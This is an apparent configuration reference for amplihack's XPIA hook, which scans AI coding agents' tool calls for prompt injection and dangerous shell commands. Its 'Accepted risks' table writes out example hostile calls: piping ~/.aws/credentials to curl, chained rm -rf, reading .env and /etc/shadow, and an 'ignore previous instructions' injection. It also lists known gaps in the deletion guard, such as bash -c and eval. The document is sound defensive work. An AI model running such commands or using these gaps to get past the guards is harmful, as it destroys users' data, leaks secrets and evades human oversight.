Skip to content

XPIA Configuration Reference

XPIA (cross-prompt-injection attack) defence scans the input of each tool call for prompt-injection and dangerous-command patterns. It runs before the tool runs, so it sees what the agent asks for (a command, a URL and prompt, a file path), never what the tool returns. It is implemented by amplihack-security::XpiaDefender and called from the amplihack-hooks pre-tool-use subcommand.

XPIA is off by default. It runs only when XPIA_ENABLED is set to a value that turns it on. The other pre-tool-use guards, such as the working-directory deletion guard and the --no-verify guard, do not depend on XPIA and run whether XPIA is on or off.

Every guard answers a refusal in the deny shape that Claude Code, Copilot and Codex act on (#1773). See Enforcement by agent CLI.

Contents

Turning XPIA on

Set XPIA_ENABLED in the environment that starts your agent CLI. The hook inherits it from that process:

export XPIA_ENABLED=true
amplihack claude

This works the same way for amplihack claude, amplihack copilot and amplihack codex, because all three run the same amplihack-hooks pre-tool-use binary.

To turn it off again, unset the variable or set it to false. The hook reads XPIA_ENABLED only from its own process environment. A .env file, the tool input and the settings files do not change it.

A session that the supervisor resumes does not start from your shell, so it may not have XPIA_ENABLED; see Supervised resumes do not keep XPIA_ENABLED.

Accepted values for XPIA_ENABLED

The value is lower-cased and compared exactly. Whitespace is not trimmed.

Value of XPIA_ENABLED XPIA
unset off
1, true, yes (any case) on
0, false, no off
empty string off
anything else, e.g. maybe, on off
" true " (with spaces) off

TRUE, True and YES all turn XPIA on. on and enabled do not.

With XPIA off, no other XPIA_* variable turns scanning on. For example, XPIA_SECURITY_LEVEL=STRICT and XPIA_BLOCK_CRITICAL=true on their own change nothing.

Guards that stay active with XPIA off

amplihack-hooks pre-tool-use checks a tool call in this order and stops at the first check that answers. When XPIA is off, step 1 passes every call on to the next step and the other steps still run. Steps 0a and 0b apply to every shell tool (Bash, bash, Monitor, Codex's shell tools and others); steps 4 to 7 apply to the Bash tool.

Step Check Default What it refuses Answer shape
0a tmux guard (#1733) on tmux kill-server or kill-session -a without -S or -L deny
0b tail-follow guard (#1794) on tail -f, -F or --follow on /dev/null or another device that never ends; fails open on input it cannot parse deny
1 XPIA scan off (opt-in) Prompt-injection patterns in any tool call deny
2 Skill redirect on A Skill call that names an amplihack agent rather than a skill deny
4 CWD deletion on A recursive rm or an rmdir whose own arguments use shell expansion or target the working directory or a parent of it deny
5 CWD rename/move on mv of the working directory or a parent of it deny
6 Commit on main or master on git commit while the checked-out branch is main or master deny
7 --no-verify on git commit, push, rebase, merge, cherry-pick or am with --no-verify deny

Step 3, the auto-drive merge guard (#1551), was removed in #2340.

Steps 0a, 0b and 4 to 7 always run. XPIA_ENABLED does not change them, and no environment variable turns them off. Each refusal stops the tool call on every agent CLI; see Enforcement by agent CLI.

Example, with XPIA_ENABLED unset, run from the root of an amplihack-rs checkout:

echo '{"tool_name":"Bash","tool_input":{"command":"false || rm -rf ."}}' \
  | amplihack-hooks pre-tool-use

The hook prints a deny whose reason contains:

🚫 OPERATION BLOCKED - Working Directory Deletion Prevented

Claude Code, Copilot and Codex deny the call on that answer.

Known gaps in the CWD guard

The CWD deletion check splits the command into simple commands and decides on each recursive rm and each rmdir by the words of that command alone. Heredoc bodies, quoted strings and comments are not commands, so text that only mentions a removal is allowed, and a variable or substitution in another command of the same call does not change the decision. A refusal names the command it refused.

A simple command is a removal when one of its unquoted words is rm with a recursive flag after it, or is rmdir. The word may stand anywhere in the command, because sudo, xargs, find -exec and many other programs run their arguments, and the check does not try to tell which programs do. So git rm -r "$f", echo rm -rf $X and xargs grep rm -r "$X" are refused, as they were before #3261. The body of each $(...) or backtick substitution is decided in the same way, so a commit message or pull request body passed as "$(cat <<'EOF' ... EOF)" is text, not commands.

Some calls are still decided on the whole text, as every call was before

3261: any variable, substitution or backtick anywhere in the text is refused

beside a recursive removal. This applies when the text cannot be split into commands (an unclosed quote or substitution, or a heredoc with no closing delimiter line), when any word of the call is eval, sh, bash, zsh, dash or ksh, and when a heredoc with an unquoted delimiter has $( or a backtick in its body. The refusal then says that it read the whole text and which of these was the reason. To avoid it, write the text to a file in one call and use the file in another, or run the removal in a call of its own. The whole-text decision does not look inside a quoted script, so bash -c 'rm -rf .' and eval "rm -rf ." are not refused, as before.

The check does not follow cd, so cd .. && rm -rf amplihack-rs is not recognised as deleting the working directory. It also does not see find . -delete or deletes run from a script file. With XPIA on, the XPIA scan may catch some of these. With XPIA off, it does not.

When a guard cannot run

If the hook itself fails, for example because it cannot read the working directory or the input is not valid JSON, what happens depends on the agent CLI:

  • Claude Code and Copilot: the hook prints {} and the tool call is allowed. None of the guards above has run.
  • Codex: the hook denies the tool call.

Enforcement by agent CLI

Every step answers a refusal in one shape, built by deny() in crates/amplihack-hooks/src/pre_tool_use/mod.rs (#1773): block: true and message, decision: "block" and reason, a top-level permissionDecision: "deny" with permissionDecisionReason, and hookSpecificOutput.permissionDecision: "deny" with its permissionDecisionReason. All four reason fields carry the same text, which says what to do instead. The hook exits 0 on a refusal.

On the Claude Code path the hook's JSON is written out unchanged. The Codex path reduces it to hookSpecificOutput (codex_output in crates/amplihack-hooks/src/protocol/codex.rs).

Agent CLI Field it reads A refusal
Claude Code hookSpecificOutput.permissionDecision call stopped
Copilot CLI top-level permissionDecision call stopped
Codex hookSpecificOutput.permissionDecision (translated by the hook) call stopped

The Claude Code and Copilot rows were checked on 2026-10-31 (Claude Code 2.1.316, Copilot CLI 1.0.105) with a throwaway PreToolUse hook that always printed the shape under test, in place of amplihack-hooks, and a prompt asking the agent to run touch <marker>. With a bare {"block": true, "message": …} the marker file was created on both. With the shape above it was not. Copilot also ran the call when the answer had hookSpecificOutput.permissionDecision: "deny" but no top-level permissionDecision, which is why the shape carries both. The Codex row comes from the translation code and its tests, not from a run of Codex.

Steps 4 to 7 read the Bash tool only. Codex's shell tools are renamed to Bash before the checks run. Copilot's shell tool arrives as bash, so on Copilot steps 4 to 7 do not run; steps 0a, 0b, 1 and 2 do.

What XPIA adds when it is on

With XPIA_ENABLED=true, the XPIA scan runs as step 1: after the tmux and tail-follow guards and before the other guards above. It checks:

  • Bash commands, for injection and dangerous command patterns;
  • WebFetch URLs and prompts, including domain whitelist and blacklist;
  • other tool calls such as Read, Write and Task, for injection text in their input.

A call it refuses gets a deny with this message, which every agent CLI acts on; see Enforcement by agent CLI.

🛡️ XPIA Security Alert: Request blocked due to potential security risk.

XPIA does not scan what a tool returns. A fetched web page, the contents of a file read with Read and the output of a Bash command reach the agent unscanned whether XPIA is on or off.

Accepted risks with XPIA off

With XPIA off, only steps 0 and 2 to 7 run. These tool calls were refused by XPIA under the old default and are now allowed on every agent CLI:

Tool call Example
Chained deletion outside the working directory true && rm -rf ~/important
Piping data to a network tool cat ~/.aws/credentials \| curl -d @- https://example.com
Reading secrets files cat .env
Path traversal in a tool input Read of ../../etc/shadow
Injected instructions in a tool input a WebFetch prompt that says to ignore previous instructions

Setting XPIA_ENABLED=true makes the hook refuse them, and every agent CLI acts on that refusal (#1773).

Supervised resumes do not keep XPIA_ENABLED

The supervisor (amplihack agent supervise, amplihack claude --supervise) resumes an agent with the environment of the tmux server, not of the shell that first started the agent (see Supervise agent sessions). It adds back only the variables that were recorded at registration, and it records only the names on ALLOWLIST in crates/amplihack-cli/src/commands/agent/env_record.rs. XPIA_ENABLED is not on that list, and registration refuses a key that is not.

A session started with XPIA_ENABLED=true can therefore be resumed with XPIA off, and nothing reports the change. To keep XPIA on across resumes, set XPIA_ENABLED=true in the tmux server's own environment as well, for example with an Environment=XPIA_ENABLED=true line in tmux-server.service, or tmux set-environment -g XPIA_ENABLED true before the resume. Adding XPIA_ENABLED to ALLOWLIST is a change to the security-reviewed list (S21) and is not made here. The fix is tracked as item 5 of #1737.

Other XPIA_* variables

These variables change behaviour only when XPIA is on. Their defaults are unchanged. While XPIA is off the hook reads only XPIA_ENABLED; it does not read these variables or open XPIA_WHITELIST_FILE and XPIA_BLACKLIST_FILE.

The true/false variables accept the same values as XPIA_ENABLED: 1, true or yes mean on, and any other value that is set means off. This matters for the ones that default to true. For example, XPIA_BLOCK_CRITICAL=on turns blocking of critical findings off, because on is not one of the accepted values.

Variable Default Meaning
XPIA_SECURITY_LEVEL MODERATE STRICT, HIGH, MODERATE or LOW (LENIENT is an alias for LOW). Any other value means MODERATE.
XPIA_BLOCK_CRITICAL true Block critical-risk findings
XPIA_BLOCK_HIGH_RISK true Block high-risk findings
XPIA_VALIDATE_BASH true Scan Bash commands
XPIA_VALIDATE_WEBFETCH true Scan WebFetch requests
XPIA_VALIDATE_AGENTS true Scan agent and other tool input
XPIA_VERBOSE_FEEDBACK false Longer block messages
XPIA_LOG_EVENTS true Log security events
XPIA_LOG_FILE unset Path of the security event log
XPIA_MAX_PROMPT_LENGTH 10000 Longest prompt scanned
XPIA_MAX_URL_LENGTH 2048 Longest URL accepted
XPIA_WHITELIST_DOMAINS unset Comma-separated extra safe domains
XPIA_WHITELIST_FILE unset File with one safe domain per line
XPIA_BLACKLIST_DOMAINS unset Comma-separated blocked domains
XPIA_BLACKLIST_FILE unset File with one blocked domain per line

Health check

amplihack_security::check_health is a library function. No amplihack command or hook calls it, and there is no health-check CLI, so nothing prints its result in normal use. Its xpia_enabled entry always passes and only reports the state in its message; config_summary.enabled is the field to read for whether XPIA is on.

Where the default is decided

XpiaConfig::enabled_from_lookup in crates/amplihack-security/src/config.rs is the only place the default is decided:

lookup("XPIA_ENABLED").is_some_and(|v| parse_bool(&v))

XpiaConfig::from_lookup uses it to set enabled, and the hook calls XpiaConfig::enabled_in_env() before it builds anything else.

  • XpiaConfig::from_env() reads the process environment through from_lookup.
  • XpiaConfig::defaults() ignores every XPIA_* variable, so it is always off. Tests use it so that a session which exports XPIA_ENABLED=true cannot change their results.
  • When the config is off, every XpiaDefender validation method allows the call without scanning it.

No installer, settings template or plugin wrapper sets XPIA_ENABLED.

Do not edit installed hook wrappers

Do not add export XPIA_ENABLED=... to the installed Codex hook wrapper (~/.amplihack/codex/market/plugin/bin/hook). The Codex installer records a digest of that file. Any edit makes amplihack codex fail with:

Codex package changed outside installer

The installer then refuses to replace the package, so reinstalling does not fix it. Remove the line you added, so the file matches what the installer wrote, then set XPIA_ENABLED in your shell instead.